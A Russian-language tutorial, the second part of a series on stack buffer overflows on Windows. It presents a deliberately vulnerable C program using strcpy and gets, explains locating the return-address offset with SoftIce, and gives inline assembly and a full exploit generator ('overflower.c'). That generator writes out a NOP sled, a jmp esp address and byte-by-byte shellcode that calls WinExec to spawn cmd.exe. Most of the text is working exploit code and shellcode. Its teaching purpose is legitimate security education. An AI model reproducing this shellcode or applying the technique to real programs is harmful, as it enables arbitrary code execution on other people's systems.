| ||||||||||||||||
| ||||||||||||||||
| ||||||||||||||||
Переполнения стека. Часть 2 1. Header В прошлой статье я выложил информацию общего плана, которая необходима для тех,
кто услышал о эксплоитах впервые, а тем более никогда не вникал в основную идею.
Теперь приступлю к изложению непосредственно практики, которая на самом
деле и является воплощением предыдущей статьи. ...где 0х77е8898b адрес jmp esp в kernel32.dll в моей системе. 2. Sections Пишем собственную прогу вида "owerflow.c" #include <stdio.h> #include <string.h> int test(char *big) { char buffer[100]; // переполняемый буфер strcpy(buffer,big);// собственно само переполнение return 0; } int main () { char big[512]; gets(big); // получение текствой строки-сюда-то мы и передаем наш шелл test(big); // вызов уязвимой функции return 0; } В этом коде нет ничего сверхъестественного, а потому идем далее. Как определить,
что переполняется, где переполняется и чего куда передавать? Доигрались - скажете вы. А на самом-то деле все отлично прошло, вы взорвали
буфер и как результат(об этом я и упоминал в первой части), перезаписали адрес
возврата из функции кодом 0х61(тоесть символом 'a'). А теперь я вас хочу спросить:
кто мешает вам вместо бессмысленных строк символов передать строку опкодов,
которая получила гордое название шелл-кода? Никто! При внимательном
рассмотрении сложившейся ситуации под четким оком SoftIce, легко понять что
произошло: благодаря специфике стека наша строка затерла собой как сохраненное
значение ebp, так и адрес возврата. Обратите внимание, что адрес возврата
затирается 104,105,106,107 символами нашей строки(это видно тогда, когда вместо
ааа..аааа передется последовательность символов с ASCII кодами начиная с 32 по 256),
поэтому необходимо сформировать строку так, чтобы 104-107 байты содержали адрес, по
которому нужно передать управление. Теперь выясним это самый адрес, но сперва замечу,
что байты с 100 по 103 перекрывают сохраненное значение EBP - это нам тоже пригодится
для формирования стэка, но об этом позже. Посмотрев в SoftIce содержимое регистра esp
в момент переполнения, легко установить, что там содержится адрес байта нашей строки,
следующего за последним из четырех байтов, перекрывающих EIP. Сие означает следующее: (*) - Символы, заполняющие буфер-приемник и потому не имеющие значения, их заполним NOP
Отлично! Осталось заполнить строку, начиная со 108-позиции, опкодами и передать
управление по адресу в esp. Для этого снова переполним программу при запущенном Sice
и когда он всплывет введем команду: "winexec.c" #include <windows.h> typedef (*PFUNK)(char*,DWORD); int main () { HMODULE hDll=LoadLibrary("kernel32.dll"); PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec"); (*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW); } WinExec исполняет программу, требует 2 параметра и располагается в kernel32.dll. Все это работает потому, что kernel32.dll использует любая программа и потому, что адрес не содержит нулевых байтов, наличие которых недопустимо. В переменной pFunc получим адрес WinExec, у каждого он будет свой. Теперь нам нужно сформировать асм-код, вызывающий WinExec. Вот он: __asm { mov esp,ebp ;формируем пролог push ebp mov ebp,esp mov esi,esp xor edi,edi;формируем завершающие нули push edi sub esp,18h//освобождаем в стэке место под строку //стэк должен всегда быть выровнян на границу кратную 4 //для обеспечения гранулярности mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку mov byte ptr [ebp-1bh],6Dh //'m' mov byte ptr [ebp-1ah],64h //'d' mov byte ptr [ebp-19h],2Eh //'.' mov byte ptr [ebp-18h],65h //'e' mov byte ptr [ebp-17h],78h //'x' mov byte ptr [ebp-16h],65h //'e' mov byte ptr [ebp-15h],20h //' ' mov byte ptr [ebp-14h],2fh //'/' mov byte ptr [ebp-13h],4bh //'K' mov byte ptr [ebp-12h],20h //' ' mov byte ptr [ebp-11h],73h //'s' mov byte ptr [ebp-10h],74h //'t' mov byte ptr [ebp-0fh],61h //'a' mov byte ptr [ebp-0eh],72h //'r' mov byte ptr [ebp-0dh],74h //'t' mov byte ptr [ebp-0ch],20h //' ' mov byte ptr [ebp-0bh],63h //'c' mov byte ptr [ebp-0ah],6dh //'m' mov byte ptr [ebp-09h],64h //'d' mov byte ptr [ebp-08h],2Eh //'.' mov byte ptr [ebp-07h],65h //'e' mov byte ptr [ebp-06h],78h //'x' mov byte ptr [ebp-05h],65h //'e' //поместить в eax адрес winexec полученный из pFunc mov eax, 0x77e98601 //поместить в стэк адрес winexec push eax //передаем параметр SW_SHOW push 05 //передаем адрес строки lea eax,[ebp-1ch] push eax //ExitProcess в eax mov eax,0x77e9b0bb push eax //устанавливаем адрес возврата mov eax, 0x77e98601 //перейти на точку входа winexec jmp eax } Теперь стэк имеет такой вид: Этот код проверялся в Visual C++6.0 и все работает отлично. Ну теперь осталось сформировать строку из опкодов. А где их взять? Да в том же Visual C++ Debugger. Просто при трассировке из контекстного меню выберите опцию Code Bytes при включенном Disassembly mode и вы получите необходимые опкоды. Осталось только собрать все воедино: "overflower.c" #include <stdio.h> int main() { int i; char buf[256]; //ЗАПОЛНЯЕМ БУФЕР NOP for (i=0;i<100;i++) buf[i]=0x90; // Перекрыть ebp адресом начала нашего строкового буфера, // чтобы потом использовать его под стек, адрес передается // через xor чтобы затереть нули. Затем инструкцией // xor ebp,0xffffffff восстанавливаем первоначальный адрес buf[100]=0x3f; buf[101]=0x01; buf[102]=0xed; buf[103]=0xff; //поместить адрес инструкции jmp esp //расположенной в ntdll.dll по адресу 77f8948B //в те 4 байта которые перекрывают eip buf[104]=0x8b; buf[105]=0x94;//89; buf[106]=0xf8;//e8; buf[107]=0x77; buf[108]=0x90; //xor ebp,0xffffffff <-формируем министек для последующего вызова winexec buf[109]=0x83; buf[110]=0xf5; buf[111]=0xff; //**************** //mov esp,ebp buf[112]=0x8b; buf[113]=0xe5; //****************** //push ebp buf[114]=0x55; //mov ebp,esp buf[115]=0x8b; buf[116]=0xec; //xor edi,edi buf[117]=0x33; buf[118]=0xff; //push edi buf[119]=0x57; //sub esp,18h buf[120]=0x83; buf[121]=0xec; buf[122]=0x18; //********************************** //создание строки на стеке * //mov byte ptr [ebp-19h],63h 'c' buf[123]=0xc6; buf[124]=0x45; buf[125]=0xe4; buf[126]=0x63; //mov byte ptr [ebp-18h],6dh 'm' buf[127]=0xc6; buf[128]=0x45; buf[129]=0xe5; buf[130]=0x6d; //mov byte ptr [ebp-17h],64h 'd' buf[131]=0xc6; buf[132]=0x45; buf[133]=0xe6; buf[134]=0x64; //mov byte ptr [ebp-16h],2eh '.' buf[135]=0xc6; buf[136]=0x45; buf[137]=0xe7; buf[138]=0x2e; //mov byte ptr [ebp-15h],65h 'e' buf[139]=0xc6; buf[140]=0x45; buf[141]=0xe8; buf[142]=0x65; //mov byte ptr [ebp-14h],78h 'x' buf[143]=0xc6; buf[144]=0x45; buf[145]=0xe9; buf[146]=0x78; //mov byte ptr [ebp-13h],65h 'e' buf[147]=0xc6; buf[148]=0x45; buf[149]=0xea; buf[150]=0x65; //mov byte ptr [ebp-12h],20h ' ' buf[151]=0xc6; buf[152]=0x45; buf[153]=0xeb; buf[154]=0x20; //mov byte ptr [ebp-11h],2fh '/' buf[155]=0xc6; buf[156]=0x45; buf[157]=0xec; buf[158]=0x2f; //mov byte ptr [ebp-10h],4bh 'K' buf[159]=0xc6; buf[160]=0x45; buf[161]=0xed; buf[162]=0x4b; //mov byte ptr [ebp-0fh],20h ' ' buf[163]=0xc6; buf[164]=0x45; buf[165]=0xee; buf[166]=0x20; //mov byte ptr [ebp-0eh],73h 's' buf[167]=0xc6; buf[168]=0x45; buf[169]=0xef; buf[170]=0x73; //mov byte ptr [ebp-0dh],74h 't' buf[171]=0xc6; buf[172]=0x45; buf[173]=0xf0; buf[174]=0x74; //mov byte ptr [ebp-0ch],61h 'a' buf[175]=0xc6; buf[176]=0x45; buf[177]=0xf1; buf[178]=0x61; //mov byte ptr [ebp-0bh],72h 'r' buf[179]=0xc6; buf[180]=0x45; buf[181]=0xf2; buf[182]=0x72; //mov byte ptr [ebp-0ah],74h 't' buf[183]=0xc6; buf[184]=0x45; buf[185]=0xf3; buf[186]=0x74; //mov byte ptr [ebp-9],20h ' ' buf[187]=0xc6; buf[188]=0x45; buf[189]=0xf4; buf[190]=0x20; //mov byte ptr [ebp-8],63h 'c' buf[191]=0xc6; buf[192]=0x45; buf[193]=0xf5; buf[194]=0x63; //mov byte ptr [ebp-7],6dh 'm' buf[195]=0xc6; buf[196]=0x45; buf[197]=0xf6; buf[198]=0x6d; //mov byte ptr [ebp-6],64h 'd' buf[199]=0xc6; buf[200]=0x45; buf[201]=0xf7; buf[202]=0x64; //mov byte ptr [ebp-5],2eh '.' buf[203]=0xc6; buf[204]=0x45; buf[205]=0xf8; buf[206]=0x2e; //mov byte ptr [ebp-4],65h 'e' buf[207]=0xc6; buf[208]=0x45; buf[209]=0xf9; buf[210]=0x65; //mov byte ptr [ebp-3],78h 'x' buf[211]=0xc6; buf[212]=0x45; buf[213]=0xfa; buf[214]=0x78; //mov byte ptr [ebp-2],65h 'e' buf[215]=0xc6; buf[216]=0x45; buf[217]=0xfb; buf[218]=0x65; //************************************* //mov eax,77 e9 86 01h <-Winexec address buf[219]=0xb8; buf[220]=0x01; buf[221]=0x86; buf[222]=0xe9; buf[223]=0x77; //push eax buf[224]=0x50; //push 05 <-SW_SHOW_NORMAL buf[225]=0x6a; buf[226]=0x05; //lea eax,[ebp-1ch] <-адрес строки buf[227]=0x8d; buf[228]=0x45; buf[229]=0xe4; //push eax buf[230]=0x50; //эмулируем call dword ptr [ebp-0ch] //для этого формируем адрес возврата и пушим его //а затем просто джампим на eax в котором адрес аналог.[ebp-0ch] //таким образом прыгаем на winexec, которая возвращает //управление на ExitProcess //mov eax,0x77e8f32d <-ExitProcess buf[231]=0xb8; buf[232]=0x2d; buf[233]=0xf3; buf[234]=0xe8; buf[235]=0x77; //push eax <-сделать адресом возврата адрес переданный в eax buf[236]=0x50; //mov eax,0x77e8f32d <-WinExec address buf[237]=0xb8; buf[238]=0x01; buf[239]=0x86; buf[240]=0xe9; buf[241]=0x77; //jmp eax <-выполнить WinExec buf[242]=0xff; buf[243]=0xe0; //ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР for(i=0;i<256;i++) { printf("%c",buf[i]); } } Ну вот вроде и все. Единственное: добавлю про ebp - этот регистр играет важную роль в
нашем нелегком деле. Нужно где-то формировать стэк, но где? А почему не использовать
под стэк наш буфер, заполненный NOP? Так и забилдим, под SoftIce посмотрим содержимое ESP
и отнимем от него 64h либо зададим искать строку 0х9090909090 - кто как желает,
главное найти адрес начала буфера. Затем этот адрес поместим в EBP (помните в начале
я акцентировал внимание на том, что байты с 100 по 103 перекрывают ebp - ну так и
поместим найденный адрес в эти байты предварительно удалив из него нули). А как? Да
очень просто - сделать Исключающее ИЛИ в терминах булевой алгебры, либо по-простому XOR.
Тоесть иксорим начальный адрес, передаем в ebp, а затем в шелле снова делаем
XOR EBP,0xFFFFFFFF и все! Теперь у нас есть стек. |
|
| ||||||||||||||||
|